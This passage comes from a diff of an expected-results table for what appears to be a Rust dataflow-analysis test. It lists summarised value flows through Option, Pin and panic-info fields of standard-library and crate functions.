lang:core::_::::last | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::last | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::finish | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::finish | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::finish | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::last | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_match_back | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next_match_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_match | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::next_match | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::matching | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_abs | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_abs | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | @@ -1108,8 +1915,17 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::checked_next_multiple_of | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::checked_next_multiple_of | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::slice::index::try_range | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::slice::index::try_range | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::as_str | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::as_str | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::location | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::location | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::capacity | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::capacity | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::cause | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::cause | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::try_lock | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_lock | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::fd | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::fd | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::from_u32 | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_u32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::find_raw | @@ -1121,25 +1937,136 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/clap-rs/clap:clap_builder::_::::insert | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::ty | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::ty | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::next | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::zip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::next | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::next_match_back | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_match_back | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::matching | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::next | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::nth | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::zip | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::next_match | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_match | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::matching | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::binary_heap::PeekMut::heap] in lang:alloc::_::::peek_mut | PeekMut.heap | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::peek_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::collections::linked_list::LinkedList::alloc] in lang:alloc::_::::remove_current_as_list | LinkedList.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::remove_current_as_list | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::ops::range::Range::end] in lang:core::_::crate::slice::index::try_range | Range.end | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::slice::index::try_range | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::alloc] in lang:alloc::_::::upgrade | Rc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::rc::Rc::ptr] in lang:alloc::_::::upgrade | Rc.ptr | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::transpose | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:std::_::::next | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::CharPattern(0)] in lang:core::_::::as_utf8_pattern | CharPattern | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_utf8_pattern | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::StringPattern(0)] in lang:alloc::_::<&crate::string::String as crate::str::pattern::Pattern>::as_utf8_pattern | StringPattern | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::<&crate::string::String as crate::str::pattern::Pattern>::as_utf8_pattern | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::alloc] in lang:alloc::_::::upgrade | Arc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::Arc::ptr] in lang:alloc::_::::upgrade | Arc.ptr | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::upgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock] in lang:std::_::::try_lock | ReentrantLockGuard | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::try_lock | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sys_common::wtf8::CodePoint::value] in lang:std::_::::from_u32 | CodePoint | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::from_u32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:alloc::_::::source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:alloc::_::::source | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::spec_next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::spec_next_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::spec_next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::spec_next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::spec_next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::spec_next_back | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::location | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::location | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::last | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::last | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::last | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::last | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:std::_::::location | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::location | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:std::_::::cause | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::cause | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::source | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::os::unix::net::listener::Incoming::listener] in lang:std::_::<&crate::os::unix::net::listener::UnixListener as crate::iter::traits::collect::IntoIterator>::into_iter | Incoming | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&crate::os::unix::net::listener::UnixListener as crate::iter::traits::collect::IntoIterator>::into_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::os::unix::net::listener::Incoming::listener] in lang:std::_::::incoming | Incoming | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::incoming | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::can_unwind] in lang:std::_::::new | PanicHookInfo.can_unwind | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::force_no_backtrace] in lang:std::_::::new | PanicHookInfo.force_no_backtrace | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::location] in lang:std::_::::new | PanicHookInfo.location | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::PanicHookInfo::payload] in lang:std::_::::new | PanicHookInfo.payload | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::location::Location::col] in lang:core::_::::internal_constructor | Location.col | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::internal_constructor | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::location::Location::file] in lang:core::_::::internal_constructor | Location.file | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::internal_constructor | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::location::Location::line] in lang:core::_::::internal_constructor | Location.line | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::internal_constructor | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::can_unwind] in lang:core::_::::new | PanicInfo.can_unwind | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::force_no_backtrace] in lang:core::_::::new | PanicInfo.force_no_backtrace | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::location] in lang:core::_::::new | PanicInfo.location | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicInfo::message] in lang:core::_::::new | PanicInfo.message | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::panic::panic_info::PanicMessage::message] in lang:core::_::::message | PanicMessage | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::message | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::Display::inner] in lang:std::_::::display | Display | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::display | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::Display::inner].Field[crate::ffi::os_str::Display::os_str] in lang:std::_::::display | Display | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::Display::inner] in lang:std::_::::display | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::path::PathBuf::inner] in lang:std::_::::from | PathBuf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:alloc::_::::into_pin | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_pin | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:alloc::_::::from | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_mut | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_ref | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::into_ref | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked_mut | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_unchecked_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::new | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::new_unchecked | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::static_mut | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::static_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::static_ref | Pin | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::static_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::map_unchecked_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::process::Child::handle] in lang:std::_::::from_inner | 